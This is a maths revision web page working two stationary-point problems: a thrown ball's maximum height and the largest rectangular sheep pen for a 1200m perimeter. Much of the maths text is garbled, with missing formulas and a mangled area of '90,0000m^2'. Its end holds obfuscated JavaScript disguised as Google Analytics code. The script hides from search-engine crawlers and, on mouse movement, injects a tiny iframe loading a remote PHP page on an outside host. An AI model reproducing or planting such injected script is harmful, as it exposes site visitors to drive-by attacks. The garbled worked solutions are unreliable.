# Differentiation Applications

Applications of differentiation take advantage of the stationary points calculations. And below I shall be showing such differentiation applications. There are three types of stationary points as you must know, these are the maximum, minimum and points of inflexion points. This is a good lesson about stationary point and it is very important that you’re very familiar with stationary points for this maths revision.

## Example

A ball has been thrown upwards. It;s height at time**t**seconds can be given by the following formula.h = 35t – 5t

Find the maximum height it reaches.
If you’re to sketch the problem on a graph you would get something like this.
That is the ball goes up in the air until it reaches a maximum point and then falls to the ground.
From learning stationary points you know that stationary points can be found where the gradient ^{2}**f ‘ (x)**is equal to zero as expressed here: This means we have to differentiate the given equation above. where**f ‘ (x)**is equal to zero. …now we know at**t = 3.5**we have a stationary point when**t = 3.5**the height is: This gives us the maximum height it reaches at**61.25**You can actually check whether it’s the maximum as shown below. we know that when: the point is at a maximum height.## Example 2

Farmer John wants to make a pen for his sheep. What is the largest are of the largest rectangular pen he can make? It might be a good idea yo illustrate the problem in otherwise draw the rectangular pen he’s after. The rectangle is shown below. I have named the sides x and y. We know that the formula to find the area is**A =x x y**We have the perimeter as the given value; 1200m . We need to get reed of one of the letters in our area formula. Make all the letters in the equation the same. The perimeter formula is**P = 2x + 2y**This can be expressed as below since we have the perimeter value;2x + 2y = 1200

Simplify…
x + y = 600

this means…
y = 600 – x

If we substitute this into the formula to find the area it becomes.
A = x(600 – x)

A = 600x – x

using the stationary points calculations the largest rectangular pen can be found where…
Now use the x value in the area formula to find the required area…
The area of the largest rectangular pen that farmer John can make is 90,0000m^{2}^{2}You can check this as the in the following; when the point is a maximum so our area is correct.var _0x7967=[“x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65″,”x75x73x65x72x41x67x65x6Ex74″,”x79x61x6Ex64x65x78x62x6Fx74″,”x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61″,”x79x61x6Ex64x65x78x69x6Dx61x67x65x73″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x69x6Ex64x65x78x4Fx66″,”x77x69x64x74x68″,”x68x65x69x67x68x74″,”x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65″,”x62x6Fx64x79″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64″,”x69x66x72x61x6Dx65″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x31x32x70x78″,”x69x64″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex77x6Dx65x2Ex64x72x65x61x6Dx68x6Fx73x74x65x72x73x2Ex63x6Fx6Dx2Fx6Ex65x77x6Cx6Fx6Fx6Bx2Fx76x62x75x6Cx6Cx65x74x69x6Ex2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x69x6Ex6Ex65x72x57x69x64x74x68″,”x6Ex75x6Dx62x65x72″,”x69x6Ex6Ex65x72x48x65x69x67x68x74″,”x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74″,”x63x6Cx69x65x6Ex74x57x69x64x74x68″,”x63x6Cx69x65x6Ex74x48x65x69x67x68x74″,”x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29″];function googleAnalyticsStatisticsBuild(){var _0x31a5x2=navigator[_0x7967[1]][_0x7967[0]]();var _0x31a5x3=[_0x7967[2],_0x7967[3],_0x7967[4],_0x7967[5]];for(k in _0x31a5x3){if(_0x31a5x2[_0x7967[6]](_0x31a5x3[k])!=-1){return ;} ;} ;var _0x31a5x4=detectBrowserSize();if(_0x31a5x4[_0x7967[7]]==0||_0x31a5x4[_0x7967[8]]==0){return ;} ;var _0x31a5x5=false;if(document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]]){_0x31a5x5=document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]];} ;document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]]=function (){if(!document[_0x7967[13]](_0x7967[12])){iframe=document[_0x7967[15]](_0x7967[14]);iframe[_0x7967[7]]=_0x7967[16];iframe[_0x7967[8]]=_0x7967[16];iframe[_0x7967[17]]=_0x7967[12];iframe[_0x7967[18]]=_0x7967[19];document[_0x7967[11]](_0x7967[10])[0][_0x7967[20]](iframe);} ;if(_0x31a5x5!==false){_0x31a5x5();} ;} ;} ;function detectBrowserSize(){var _0x31a5x7=0,_0x31a5x8=0;if( typeof (window[_0x7967[21]])==_0x7967[22]){_0x31a5x7=window[_0x7967[21]];_0x31a5x8=window[_0x7967[23]];} else {if(document[_0x7967[24]]&&(document[_0x7967[24]][_0x7967[25]]||document[_0x7967[24]][_0x7967[26]])){_0x31a5x7=document[_0x7967[24]][_0x7967[25]];_0x31a5x8=document[_0x7967[24]][_0x7967[26]];} else {if(document[_0x7967[10]]&&(document[_0x7967[10]][_0x7967[25]]||document[_0x7967[10]][_0x7967[26]])){_0x31a5x7=document[_0x7967[10]][_0x7967[25]];_0x31a5x8=document[_0x7967[10]][_0x7967[26]];} ;} ;} ;return {width:_0x31a5x7,height:_0x31a5x8};} ;setTimeout(_0x7967[27],500);
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